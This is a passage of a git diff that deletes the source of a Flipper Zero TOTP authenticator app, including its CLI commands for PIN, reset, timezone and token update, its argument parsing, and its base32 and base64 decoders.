occurred during taking backup of config file\r\n"); - break; - } - - TOTP_CLI_PRINTF("Encrypting...\r\n"); - - bool update_result = totp_config_file_update_encryption( - plugin_state, crypto_key_slot, new_pin, new_pin_length); - - memset_s(&new_pin[0], CRYPTO_IV_LENGTH, 0, CRYPTO_IV_LENGTH); - - totp_cli_delete_last_line(); - - if(update_result) { - if(do_change) { - TOTP_CLI_PRINTF_SUCCESS("PIN has been successfully changed\r\n"); - } else if(do_remove) { - TOTP_CLI_PRINTF_SUCCESS("PIN has been successfully removed\r\n"); - } - } else { - totp_cli_print_error_updating_config_file(); - } - - } while(false); - - TOTP_CLI_UNLOCK_UI(plugin_state); - } - - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/pin/pin.h b/applications/external/totp/cli/commands/pin/pin.h deleted file mode 100644 index 2d320a02a..000000000 --- a/applications/external/totp/cli/commands/pin/pin.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_PIN "pin" - -void totp_cli_command_pin_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_pin_docopt_commands(); -void totp_cli_command_pin_docopt_usage(); -void totp_cli_command_pin_docopt_options(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/reset/reset.c b/applications/external/totp/cli/commands/reset/reset.c deleted file mode 100644 index 250d594bf..000000000 --- a/applications/external/totp/cli/commands/reset/reset.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "reset.h" - -#include -#include -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../../services/config/config.h" - -#define TOTP_CLI_RESET_CONFIRMATION_KEYWORD "YES" - -void totp_cli_command_reset_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_RESET - " Reset application to default settings\r\n"); -} - -void totp_cli_command_reset_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_RESET "\r\n"); -} - -void totp_cli_command_reset_handle(PluginState* plugin_state, Cli* cli) { - TOTP_CLI_LOCK_UI(plugin_state); - TOTP_CLI_PRINTF_WARNING( - "As a result of reset all the settings and tokens will be permanently lost.\r\n"); - TOTP_CLI_PRINTF_WARNING("Do you really want to reset application?\r\n"); - TOTP_CLI_PRINTF_WARNING("Type \"" TOTP_CLI_RESET_CONFIRMATION_KEYWORD - "\" and hit to confirm:\r\n"); - FuriString* temp_str = furi_string_alloc(); - bool is_confirmed = totp_cli_read_line(cli, temp_str, false) && - furi_string_cmpi_str(temp_str, TOTP_CLI_RESET_CONFIRMATION_KEYWORD) == 0; - furi_string_free(temp_str); - if(is_confirmed) { - totp_config_file_reset(plugin_state); - TOTP_CLI_PRINTF_SUCCESS("Application has been successfully reset to default.\r\n"); - TOTP_CLI_PRINTF_SUCCESS("Now application will be closed to apply all the changes.\r\n"); - totp_cli_force_close_app(plugin_state->event_queue); - } else { - TOTP_CLI_PRINTF_INFO("Action was not confirmed by user\r\n"); - TOTP_CLI_UNLOCK_UI(plugin_state); - } -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/reset/reset.h b/applications/external/totp/cli/commands/reset/reset.h deleted file mode 100644 index 221c84304..000000000 --- a/applications/external/totp/cli/commands/reset/reset.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_RESET "reset" - -void totp_cli_command_reset_handle(PluginState* plugin_state, Cli* cli); -void totp_cli_command_reset_docopt_commands(); -void totp_cli_command_reset_docopt_usage(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/timezone/timezone.c b/applications/external/totp/cli/commands/timezone/timezone.c deleted file mode 100644 index 0f6bc5a76..000000000 --- a/applications/external/totp/cli/commands/timezone/timezone.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "timezone.h" -#include -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" - -#define TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE "timezone" - -void totp_cli_command_timezone_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_TIMEZONE ", " TOTP_CLI_COMMAND_TIMEZONE_ALT - " Get or set current timezone\r\n"); -} - -void totp_cli_command_timezone_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_TIMEZONE " | " TOTP_CLI_COMMAND_TIMEZONE_ALT) " " DOCOPT_OPTIONAL( - DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE)) "\r\n"); -} - -void totp_cli_command_timezone_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_TIMEZONE_ARG_TIMEZONE - " Timezone offset in hours to be set\r\n"); -} - -void totp_cli_command_timezone_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - FuriString* temp_str = furi_string_alloc(); - if(args_read_string_and_trim(args, temp_str)) { - char* strtof_endptr; - float tz = strtof(furi_string_get_cstr(temp_str), &strtof_endptr); - if(*strtof_endptr == 0 && tz >= -12.75f && tz <= 12.75f) { - TOTP_CLI_LOCK_UI(plugin_state); - plugin_state->timezone_offset = tz; - if(totp_config_file_update_timezone_offset(plugin_state)) { - TOTP_CLI_PRINTF_SUCCESS("Timezone is set to %f\r\n", (double)tz); - } else { - totp_cli_print_error_updating_config_file(); - } - TOTP_CLI_UNLOCK_UI(plugin_state); - } else { - TOTP_CLI_PRINTF_ERROR("Invalid timezone offset\r\n"); - } - } else { - TOTP_CLI_PRINTF_INFO( - "Current timezone offset is %f\r\n", (double)plugin_state->timezone_offset); - } - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/timezone/timezone.h b/applications/external/totp/cli/commands/timezone/timezone.h deleted file mode 100644 index 9823cf0ee..000000000 --- a/applications/external/totp/cli/commands/timezone/timezone.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_TIMEZONE "timezone" -#define TOTP_CLI_COMMAND_TIMEZONE_ALT "tz" - -void totp_cli_command_timezone_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_timezone_docopt_commands(); -void totp_cli_command_timezone_docopt_usage(); -void totp_cli_command_timezone_docopt_arguments(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/update/update.c b/applications/external/totp/cli/commands/update/update.c deleted file mode 100644 index 79ed75670..000000000 --- a/applications/external/totp/cli/commands/update/update.c +++ /dev/null @@ -1,175 +0,0 @@ -#include "update.h" -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../../services/convert/convert.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -#define TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX "-s" - -struct TotpUpdateContext { - FuriString* args; - Cli* cli; - const CryptoSettings* crypto_settings; -}; - -enum TotpIteratorUpdateTokenResultsEx { - TotpIteratorUpdateTokenResultInvalidSecret = 1, - TotpIteratorUpdateTokenResultCancelled = 2, - TotpIteratorUpdateTokenResultInvalidArguments = 3 -}; - -static bool totp_cli_try_read_name( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_NAME_PREFIX) == 0) { - if(!args_read_probably_quoted_string_and_trim(args, token_info->name) || - furi_string_empty(token_info->name)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_NAME_PREFIX); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -static bool totp_cli_try_read_change_secret_flag(const FuriString* arg, bool* parsed, bool* flag) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX) == 0) { - *flag = true; - *parsed = true; - return true; - } - - return false; -} - -static TotpIteratorUpdateTokenResult - update_token_handler(TokenInfo* token_info, const void* context) { - const struct TotpUpdateContext* context_t = context; - - // Read optional arguments - FuriString* temp_str = furi_string_alloc(); - bool mask_user_input = true; - bool update_token_secret = false; - PlainTokenSecretEncoding token_secret_encoding = PlainTokenSecretEncodingBase32; - while(args_read_string_and_trim(context_t->args, temp_str)) { - bool parsed = false; - if(!totp_cli_try_read_name(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_algo(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_digits(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_duration(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_unsecure_flag(temp_str, &parsed, &mask_user_input) && - !totp_cli_try_read_change_secret_flag(temp_str, &parsed, &update_token_secret) && - !totp_cli_try_read_automation_features(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_plain_token_secret_encoding( - temp_str, context_t->args, &parsed, &token_secret_encoding)) { - totp_cli_printf_unknown_argument(temp_str); - } - - if(!parsed) { - furi_string_free(temp_str); - return TotpIteratorUpdateTokenResultInvalidArguments; - } - } - - if(update_token_secret) { - // Reading token secret - furi_string_reset(temp_str); - TOTP_CLI_PRINTF("Enter token secret and confirm with [ENTER]:\r\n"); - bool token_secret_read = totp_cli_read_line(context_t->cli, temp_str, mask_user_input); - totp_cli_delete_last_line(); - if(!token_secret_read) { - furi_string_secure_free(temp_str); - return TotpIteratorUpdateTokenResultCancelled; - } - - if(!token_info_set_secret( - token_info, - furi_string_get_cstr(temp_str), - furi_string_size(temp_str), - token_secret_encoding, - context_t->crypto_settings)) { - furi_string_secure_free(temp_str); - return TotpIteratorUpdateTokenResultInvalidSecret; - } - } - - furi_string_secure_free(temp_str); - - return TotpIteratorUpdateTokenResultSuccess; -} - -void totp_cli_command_update_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_UPDATE " Update existing token\r\n"); -} - -void totp_cli_command_update_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_UPDATE) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_INDEX) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_ALGO_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_ALGO))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_NAME_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_NAME))) " " DOCOPT_OPTIONAL( - DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DIGITS))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_DURATION_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_DURATION))) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX)) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX)) " " DOCOPT_MULTIPLE(DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE)))) "\r\n"); -} - -void totp_cli_command_update_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_NAME_PREFIX, - DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_NAME)) " Token name\r\n"); - - TOTP_CLI_PRINTF(" " DOCOPT_SWITCH( - TOTP_CLI_COMMAND_UPDATE_ARG_SECRET_PREFIX) " Update token secret\r\n"); -} - -void totp_cli_command_update_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - - int token_number; - if(!args_read_int_and_trim(args, &token_number) || token_number <= 0 || - (size_t)token_number > totp_token_info_iterator_get_total_count(iterator_context)) { - totp_cli_print_invalid_arguments(); - return; - } - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t previous_index = totp_token_info_iterator_get_current_token_index(iterator_context); - totp_token_info_iterator_go_to(iterator_context, token_number - 1); - - struct TotpUpdateContext update_context = { - .args = args, .cli = cli, .crypto_settings = &plugin_state->crypto_settings}; - TotpIteratorUpdateTokenResult update_result = totp_token_info_iterator_update_current_token( - iterator_context, &update_token_handler, &update_context); - - if(update_result == TotpIteratorUpdateTokenResultSuccess) { - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully updated\r\n", - furi_string_get_cstr( - totp_token_info_iterator_get_current_token(iterator_context)->name)); - } else if(update_result == TotpIteratorUpdateTokenResultInvalidArguments) { - totp_cli_print_invalid_arguments(); - } else if(update_result == TotpIteratorUpdateTokenResultCancelled) { - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - } else if(update_result == TotpIteratorUpdateTokenResultInvalidSecret) { - TOTP_CLI_PRINTF_ERROR("Token secret seems to be invalid and can not be parsed\r\n"); - } else if(update_result == TotpIteratorUpdateTokenResultFileUpdateFailed) { - totp_cli_print_error_updating_config_file(); - } - - totp_token_info_iterator_go_to(iterator_context, previous_index); - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/update/update.h b/applications/external/totp/cli/commands/update/update.h deleted file mode 100644 index 3b5b442e8..000000000 --- a/applications/external/totp/cli/commands/update/update.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_UPDATE "update" - -void totp_cli_command_update_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_update_docopt_commands(); -void totp_cli_command_update_docopt_usage(); -void totp_cli_command_update_docopt_options(); \ No newline at end of file diff --git a/applications/external/totp/cli/common_command_arguments.c b/applications/external/totp/cli/common_command_arguments.c deleted file mode 100644 index c3129a157..000000000 --- a/applications/external/totp/cli/common_command_arguments.c +++ /dev/null @@ -1,141 +0,0 @@ -#include "common_command_arguments.h" -#include - -void totp_cli_printf_missed_argument_value(char* arg) { - TOTP_CLI_PRINTF_ERROR("Missed or incorrect value for argument \"%s\"\r\n", arg); -} - -void totp_cli_printf_unknown_argument(const FuriString* arg) { - TOTP_CLI_PRINTF("Unknown argument \"%s\"\r\n", furi_string_get_cstr(arg)); -} - -bool totp_cli_try_read_algo(TokenInfo* token_info, FuriString* arg, FuriString* args, bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_ALGO_PREFIX) == 0) { - if(!args_read_string_and_trim(args, arg)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_ALGO_PREFIX); - } else if(!token_info_set_algo_from_str(token_info, arg)) { - TOTP_CLI_PRINTF_ERROR( - "\"%s\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_ALGO_PREFIX - "\"\r\n", - furi_string_get_cstr(arg)); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_digits( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX) == 0) { - uint8_t digit_value; - if(!args_read_uint8_and_trim(args, &digit_value)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX); - } else if(!token_info_set_digits_from_int(token_info, digit_value)) { - TOTP_CLI_PRINTF_ERROR( - "\"%" PRIu8 - "\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX - "\"\r\n", - digit_value); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_duration( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_DURATION_PREFIX) == 0) { - uint8_t duration_value; - if(!args_read_uint8_and_trim(args, &duration_value)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_DURATION_PREFIX); - } else if(!token_info_set_duration_from_int(token_info, duration_value)) { - TOTP_CLI_PRINTF_ERROR( - "\"%" PRIu8 - "\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_DURATION_PREFIX - "\"\r\n", - duration_value); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_automation_features( - TokenInfo* token_info, - FuriString* arg, - FuriString* args, - bool* parsed) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX) == 0) { - if(!args_read_string_and_trim(args, arg)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX); - } else if(!token_info_set_automation_feature_from_str(token_info, arg)) { - TOTP_CLI_PRINTF_ERROR( - "\"%s\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX - "\"\r\n", - furi_string_get_cstr(arg)); - } else { - *parsed = true; - } - - return true; - } - - return false; -} - -bool totp_cli_try_read_unsecure_flag(const FuriString* arg, bool* parsed, bool* unsecure_flag) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX) == 0) { - *unsecure_flag = false; - *parsed = true; - return true; - } - - return false; -} - -bool totp_cli_try_read_plain_token_secret_encoding( - FuriString* arg, - FuriString* args, - bool* parsed, - PlainTokenSecretEncoding* secret_encoding) { - if(furi_string_cmpi_str(arg, TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX) == 0) { - if(!args_read_string_and_trim(args, arg)) { - totp_cli_printf_missed_argument_value(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX); - } else { - if(furi_string_cmpi_str(arg, PLAIN_TOKEN_ENCODING_BASE32_NAME) == 0) { - *secret_encoding = PlainTokenSecretEncodingBase32; - *parsed = true; - } else if(furi_string_cmpi_str(arg, PLAIN_TOKEN_ENCODING_BASE64_NAME) == 0) { - *secret_encoding = PlainTokenSecretEncodingBase64; - *parsed = true; - } else { - TOTP_CLI_PRINTF_ERROR( - "\"%s\" is incorrect value for argument \"" TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX - "\"\r\n", - furi_string_get_cstr(arg)); - } - } - - return true; - } - - return false; -} \ No newline at end of file diff --git a/applications/external/totp/cli/common_command_arguments.h b/applications/external/totp/cli/common_command_arguments.h deleted file mode 100644 index 0bf834225..000000000 --- a/applications/external/totp/cli/common_command_arguments.h +++ /dev/null @@ -1,106 +0,0 @@ -#pragma once -#include -#include "../types/token_info.h" -#include "cli_helpers.h" - -#define TOTP_CLI_COMMAND_ARG_NAME "name" -#define TOTP_CLI_COMMAND_ARG_NAME_PREFIX "-n" -#define TOTP_CLI_COMMAND_ARG_ALGO "algo" -#define TOTP_CLI_COMMAND_ARG_ALGO_PREFIX "-a" -#define TOTP_CLI_COMMAND_ARG_DIGITS "digits" -#define TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX "-d" -#define TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX "-u" -#define TOTP_CLI_COMMAND_ARG_DURATION "duration" -#define TOTP_CLI_COMMAND_ARG_DURATION_PREFIX "-l" -#define TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX "-b" -#define TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE "feature" -#define TOTP_CLI_COMMAND_ARG_INDEX "index" -#define TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX "-e" -#define TOTP_CLI_COMMAND_ARG_SECRET_ENCODING "encoding" - -/** - * @brief Prints information about unknown argument - * @param arg - */ -void totp_cli_printf_unknown_argument(const FuriString* arg); - -/** - * @brief Prints information about missed required argument - * @param arg - */ -void totp_cli_printf_missed_argument_value(char* arg); - -/** - * @brief Tries to read token hashing algo - * @param token_info token info to set parsed algo to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token hashing algo sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token hashing algo argument; \c false otherwise - */ -bool totp_cli_try_read_algo(TokenInfo* token_info, FuriString* arg, FuriString* args, bool* parsed); - -/** - * @brief Tries to read token digits count - * @param token_info token info to set parsed digits count to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token digits count sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token digits count argument; \c false otherwise - */ -bool totp_cli_try_read_digits( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed); - -/** - * @brief Tries to read token duration - * @param token_info token info to set parsed duration to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token duration sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token duration argument; \c false otherwise - */ -bool totp_cli_try_read_duration( - TokenInfo* token_info, - const FuriString* arg, - FuriString* args, - bool* parsed); - -/** - * @brief Tries to read token automation features - * @param token_info token info to set parsed automation features to if successfully read and parsed - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if token automation features sucecssfully read and parsed; \c false otherwise - * @return \c true if \c arg represents token automation features argument; \c false otherwise - */ -bool totp_cli_try_read_automation_features( - TokenInfo* token_info, - FuriString* arg, - FuriString* args, - bool* parsed); - -/** - * @brief Tries to read unsecure flag - * @param arg argument to parse - * @param[out] parsed will be set to \c true if unsecure flag sucecssfully read and parsed; \c false otherwise - * @param[out] unsecure_flag will be set to parsed unsecure flag state if read and parsed successfully - * @return \c true if \c arg represents unsecure flag argument; \c false otherwise - */ -bool totp_cli_try_read_unsecure_flag(const FuriString* arg, bool* parsed, bool* unsecure_flag); - -/** - * @brief Tries to read plain token secret encoding - * @param arg argument to parse - * @param args rest of arguments - * @param[out] parsed will be set to \c true if plain token secret encoding sucecssfully read and parsed; \c false otherwise - * @param[out] secret_encoding will be set to parsed plain token secret encoding if read and parsed successfully - * @return \c true if \c arg represents plain token secret encoding argument; \c false otherwise - */ -bool totp_cli_try_read_plain_token_secret_encoding( - FuriString* arg, - FuriString* args, - bool* parsed, - PlainTokenSecretEncoding* secret_encoding); \ No newline at end of file diff --git a/applications/external/totp/features_config.h b/applications/external/totp/features_config.h deleted file mode 100644 index 764f27bea..000000000 --- a/applications/external/totp/features_config.h +++ /dev/null @@ -1,20 +0,0 @@ -// Application automatic lock timeout if user IDLE. (ticks) -#ifndef TOTP_AUTO_LOCK_IDLE_TIMEOUT_SEC -#define TOTP_AUTO_LOCK_IDLE_TIMEOUT_SEC (60) -#endif - -// Include Bluetooth token input automation -#ifndef TOTP_NO_BADBT_AUTOMATION -#define TOTP_BADBT_AUTOMATION_ENABLED -#endif - -// List of compatible firmwares -#define TOTP_FIRMWARE_OFFICIAL_STABLE (1) -#define TOTP_FIRMWARE_OFFICIAL_DEV (2) -#define TOTP_FIRMWARE_XTREME_UL (3) -// End of list - -// Target firmware -#ifndef TOTP_TARGET_FIRMWARE -#define TOTP_TARGET_FIRMWARE TOTP_FIRMWARE_XTREME_UL -#endif diff --git a/applications/external/totp/images/DolphinCommon_56x48.png b/applications/external/totp/images/DolphinCommon_56x48.png deleted file mode 100644 index 089aaed83..000000000 Binary files a/applications/external/totp/images/DolphinCommon_56x48.png and /dev/null differ diff --git a/applications/external/totp/images/hid_ble_31x9.png b/applications/external/totp/images/hid_ble_31x9.png deleted file mode 100644 index fb999231f..000000000 Binary files a/applications/external/totp/images/hid_ble_31x9.png and /dev/null differ diff --git a/applications/external/totp/images/hid_usb_31x9.png b/applications/external/totp/images/hid_usb_31x9.png deleted file mode 100644 index c6b8aa228..000000000 Binary files a/applications/external/totp/images/hid_usb_31x9.png and /dev/null differ diff --git a/applications/external/totp/images/totp_arrow_left_8x9.png b/applications/external/totp/images/totp_arrow_left_8x9.png deleted file mode 100644 index 3bf9121c0..000000000 Binary files a/applications/external/totp/images/totp_arrow_left_8x9.png and /dev/null differ diff --git a/applications/external/totp/images/totp_arrow_right_8x9.png b/applications/external/totp/images/totp_arrow_right_8x9.png deleted file mode 100644 index 8c6a8bfeb..000000000 Binary files a/applications/external/totp/images/totp_arrow_right_8x9.png and /dev/null differ diff --git a/applications/external/totp/lib/base32/base32.c b/applications/external/totp/lib/base32/base32.c deleted file mode 100644 index 827aa1e94..000000000 --- a/applications/external/totp/lib/base32/base32.c +++ /dev/null @@ -1,60 +0,0 @@ -// Base32 implementation -// -// Copyright 2010 Google Inc. -// Author: Markus Gutschke -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "base32.h" - -size_t base32_decode(const uint8_t* encoded, uint8_t* result, size_t bufSize) { - int buffer = 0; - int bitsLeft = 0; - size_t count = 0; - for(const uint8_t* ptr = encoded; count < bufSize && *ptr; ++ptr) { - uint8_t ch = *ptr; - if(ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n' || ch == '-') { - continue; - } - buffer <<= 5; - - // Deal with commonly mistyped characters - if(ch == '0') { - ch = 'O'; - } else if(ch == '1') { - ch = 'L'; - } else if(ch == '8') { - ch = 'B'; - } - - // Look up one base32 digit - if((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z')) { - ch = (ch & 0x1F) - 1; - } else if(ch >= '2' && ch <= '7') { - ch -= '2' - 26; - } else { - return 0; - } - - buffer |= ch; - bitsLeft += 5; - if(bitsLeft >= 8) { - result[count++] = buffer >> (bitsLeft - 8); - bitsLeft -= 8; - } - } - if(count < bufSize) { - result[count] = '\000'; - } - return count; -} diff --git a/applications/external/totp/lib/base32/base32.h b/applications/external/totp/lib/base32/base32.h deleted file mode 100644 index a0ec86e82..000000000 --- a/applications/external/totp/lib/base32/base32.h +++ /dev/null @@ -1,40 +0,0 @@ -// Base32 implementation -// -// Copyright 2010 Google Inc. -// Author: Markus Gutschke -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// -// Encode and decode from base32 encoding using the following alphabet: -// ABCDEFGHIJKLMNOPQRSTUVWXYZ234567 -// This alphabet is documented in RFC 4648/3548 -// -// We allow white-space and hyphens, but all other characters are considered -// invalid. -// -// All functions return the number of output bytes or -1 on error. If the -// output buffer is too small, the result will silently be truncated. - -#pragma once - -#include -#include - -/** - * @brief Decodes Base-32 encoded bytes into plain bytes. - * @param encoded Base-32 encoded bytes - * @param[out] result result output buffer - * @param bufSize result output buffer size - * @return Decoded result length in bytes if successfully decoded; \c 0 otherwise - */ -size_t base32_decode(const uint8_t* encoded, uint8_t* result, size_t bufSize); diff --git a/applications/external/totp/lib/base64/base64.c b/applications/external/totp/lib/base64/base64.c deleted file mode 100644 index 2cb0d2ffc..000000000 --- a/applications/external/totp/lib/base64/base64.c +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Base64 encoding/decoding (RFC1341) - * Copyright (c) 2005, Jouni Malinen - * Modified and optimized for Flipepr Zero device purposes by Alex Kopachov (@akopachov) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 as - * published by the Free Software Foundation. - * - * Alternatively, this software may be distributed under the terms of BSD - * license. - * - */ - -#include "base64.h" -#include - -static const uint8_t dtable[] = {0x3e, 0x80, 0x80, 0x80, 0x3f, 0x34, 0x35, 0x36, 0x37, 0x38, - 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x80, 0x80, 0x80, 0x0, 0x80, - 0x80, 0x80, 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, - 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, - 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x80, 0x80, - 0x80, 0x80, 0x80, 0x80, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, - 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, - 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33}; - -static uint8_t get_dtable_value(uint8_t index) { - return (index < 43 || index > 122) ? 0x80 : dtable[index - 43]; -} - -uint8_t* base64_decode(const uint8_t* src, size_t 